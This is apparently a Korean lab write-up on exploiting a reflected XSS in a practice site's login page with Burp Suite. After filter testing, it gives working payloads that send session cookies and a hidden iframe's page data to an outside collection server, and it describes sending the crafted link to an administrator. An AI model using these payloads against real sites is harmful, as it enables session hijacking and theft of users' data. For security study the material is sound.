XSS 발생위치
| 발생위치 | URL |
|---|
| 로그인 페이지 | http://URL/xss_7/login.html |
XSS 종류
- Reflected XSS 정의
삽입된 스크립트가 서버의 반응으로 클라이언트측에서 실행되는 것
- Reflected XSS 특징
-> 즉각적임
-> 입력값과 출력값이 같은페이지에 나타남
-> 스크립트 Link(URL)로 전달 -> GET방식-> 파라미터로 스크립트 전송
-> URL을 클릭해야함
XSS Point 찾기
- Burp Suite에서 point 찾기
- Burp Suite에서 스크랩트 삽입
Reflected XSS TEST
- GET방식으로 전환
-> 스크립트를 Link에 삽입해야하기 때문
| POST방식 |
|---|
 |
| GET방식 |
|---|
 |
| 실제 출력 화면 |
|---|
 |
- 주의사항
출력값은 화면에 나타나지 않고 Burp Suite에서 나타나도 가능
실제 출력이 화면에 나타나지 않아도
특수문자 TEST
TEST방법
<,',",>삽입 |
|---|
 |
결과
Filtering TEST
사용할 태그와 함수 TEST
- 글수정 페이지에
),',;,</script>, <script>, <img>,alert()삽입
| 스크립트 삽입 |
|---|
 |
결과
-
),',;을 넣은 이유
-> 기존에 있던 alert()함수 완성시키기 위함
-
<script> 출력 -><script> 사용가능
-
<img>출력 -> <img> 사용가능
-
alert()출력 -> alert() 사용가능
Cookie정보 가져오기
Document.cookie로 쿠키 가져오기
<img>태그와 alert()함수를 활용
');</script><img src=x style="display:none;"/><script> let a = ('삽입
| 스크립트 삽입 |
|---|
 |
| alert 작동확인 |
|---|
 |
<img> error |
|---|
 |
<img> error 숨김 |
|---|
 |
new Image() 함수를 활용
- 공격자 서버로 쿠키정보 전송
');</script><img+src=x+onerror="new+Image().src='https://env2ukig2umbh.x.pipedream.net?info='%2B+document.cookie;"+style="display:none;"/><script>let+a=('삽입
| 스크립트 삽입 | 공격자 서버 확인 |
|---|
 |  |
| 스크립트 삽입 | 공격자 서버에서 확인 |
|---|
 |  |
관리자에게 TEST
- 스크립트가 삽입된 URL을 관리자에게 TEST
| TEST | 공격자 서버에서 확인 |
|---|
 |  |
결과
세션ID가 포함된 쿠키정보 탈환성공
다른페이지 정보가져오기
iframe태그 사용
- Mypage URL 삽입
-> <iframe src="Mypage URL"></iframe>
| 스크립트 삽입 |
|---|
 |
| 출력된 화면에서 확인 |
|---|
 |
iframe으로 정보 탈취
prompt로 정보띄우기
');</script><iframe+src="MypageURL/xss_7/mypage.php"+id="plz"+style="display:none;"></iframe>
<img+src=x+onerror="document.getElementById('plz').onload=function(){
let+target=document.getElementById('plz');
+let+DOM=target.contentDocument;
+let+want=DOM.getElementsByName('info');
+prompt(want[0].placeholder);}"
+style="display:none;">
<!--<script>let+a=('
| 글수정 페이지에 스크립트 삽입 |
|---|
 |
| prompt로 확인 |
|---|
 |
new Image로 서버에 데이터 전송
prompt(want[0].placeholder);를 빼고 new Image().src='공격자서버URL?info='+want[0].placeholder; 삽입
| 공격자서버 확인 |
|---|
 |